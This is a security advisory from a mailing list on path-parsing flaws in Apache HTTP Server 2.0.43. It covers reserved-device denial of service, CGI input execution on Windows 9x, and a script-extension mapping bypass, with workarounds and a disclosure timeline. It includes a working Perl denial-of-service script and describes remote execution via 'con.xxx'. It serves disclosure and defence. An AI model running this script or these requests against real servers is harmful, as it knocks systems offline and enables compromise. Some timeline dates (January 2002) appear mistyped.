From: mattmurphy at kc.rr.com (mattmurphy@...rr.com)
Subject: Path Parsing Errata in Apache HTTP Server

Path Parsing Errata in Apache HTTP Server

ABSTRACT

The Apache HTTP Server <http://httpd.apache.org/> powers a 
whopping two thirds of all internet web sites, offering such powerful 
features as SSI, pre-forked and multi-threaded MPMs, input and output 
filtering, advanced logging, dynamic actions, dynamic modules, 
reverse DNS, virtual hosting, and even SSL via a fully extensible 
interface.  It operates on an incredible number of platforms, including 
nearly all major Unix variants, Novell Netware and Microsoft Windows; 
Apache has also been ported to cygwin.

DESCRIPTION

The Apache HTTP Server contains several flaws related to its path 
mapping routines that could enable an attacker to cause Apache to 
handle files incorrectly, cause a system-wide denial of service, or 
possibly execute arbitrary code.

ANALYSIS

Issue 1 (VU#979793):

Exploitation of this condition leads to a remote denial of service against 
a Windows 9x system running Apache, and appears to be due to 
erroneous checks in the ap_directory_walk function.  A denial of service 
can be caused with a web browser by requesting a reserved device 
such as "aux":

--- Apache2-nuke.pl ---
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 1 || @ARGV > 2) {
	print STDOUT "Usage: perl $0 <host> <port=80>";
	exit;
}
if (@ARGV == 2) {
	$port = $ARGV[1];
} else {
	$port = 80;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$ARGV[0], 
PeerPort=>$port);
print $f "GET /aux HTTP/1.0\r\n\r\n";
--- Apache2-nuke.pl ---

The Apache 2.0.44 release announcement incorrectly states that 
previous Microsoft patches eliminate this vulnerability.  There are some 
devices on Windows platforms that will hang the system if opened with 
certain file permissions masks.

Issue 2 (VU#825177):

Exploitation of this condition leads to a remote compromise.  This 
issue is also restricted to Windows 9x versions of Apache, and has the 
same underlying cause as the previously noted denial of service 
condition.  It is related to CGI input redirection.

Specifically, when POSTing to a CGI, the stdin stream points to the 
input form data.   By sending a POST to "con.xxx" in a ScriptAlias'ed 
directory, your POST data *may* be executed by that interpreter.

Issue 3 (VU#384033):

Exploitation of this condition could lead to bypass of default script 
mapping behavior.  This flaw impacts Apache on all platforms.  This 
issue is best described with an example:

http://localhost/folder.php/file

Apache should parse 'file' as plain text -- that is, simply returning it to 
the browser.  However, an incorrect check in Apache's mapping 
algorithms, causes the 'php' extension to be associated with this 
request.  Rather than checking only the file's extension, Apache checks 
for extensions in any path member, stopping at the first.

This is more of a weakness than a vulnerability, as exploitation only 
yields UID nobody if you allow uploading under the docroot *and* filter 
by filename only, in which case you have far more serious concerns 
than the exploitation of this issue.

DETECTION

These issues are believed to be specific to the 2.0 branch; Apache 
1.3.27 (and all other 1.x versions) are believed immune from these 
issues.  Apache 2.0.43 and prior should be upgraded to the 2.0.44 
release, which will be available from 
<http://httpd.apache.org/dist/httpd>.

WORKAROUNDS

* I recommend that servers running Windows 9x be upgraded to a 
production environment (Windows NT, 2000, or XP, for example).  This 
offers a solution to VU#979793, and VU#825177.

* A configuration workaround is available for VU#384033.  For any 
directories allowing uploads, add the following lines:

<Directory "/var/apache/htdocs/uploads/">
AllowOverride None
Options -Includes -ExecCGI
SetHandler default-handler
</Directory>

* All sites running Apache 2.0.43 and prior should be upgraded to 
2.0.44 if impacted by these issues.

DISCLOSURE TIMELINE

December 4, 2002: security@...che.org notified
December 5, 2002: Confirmation response received from William 
Rowe, Jr. (wrowe@...e-clan.net); auditing begins.
December 5, 2002: cert@...t.org contacted
December 5, 2002: Automated response from CERT/CC incident 
response.
December 9, 2002: Follow-up received from William Rowe, Jr. 
indicates that cause of reserved device issue has been identified.
December 10, 2002: Initial patch binaries received from William Rowe, 
Jr. (libapr.dll and libhttpd.dll).  Fix for reserved device flaw confirmed, 
but dot-in-path attack remains.
December 10, 2002: CERT/CC response received from Chad 
Dougherty; vulnerability IDs are assigned.
December 10, 2002: Reply to Chad Dougherty indicating that precise 
details of VU#825177 will not be immediately disclosed.
December 10, 2002: Reply to William Rowe, Jr. requesting 
confirmation of status and receipt of VU#384033.
December 10/11, 2002: Series of e-mail communications to clarify the 
impacts/origins of VU#384033; source of issue is identified.
January 20, 2002: Apache 2.0.44 released
January 22, 2002: Public disclosure


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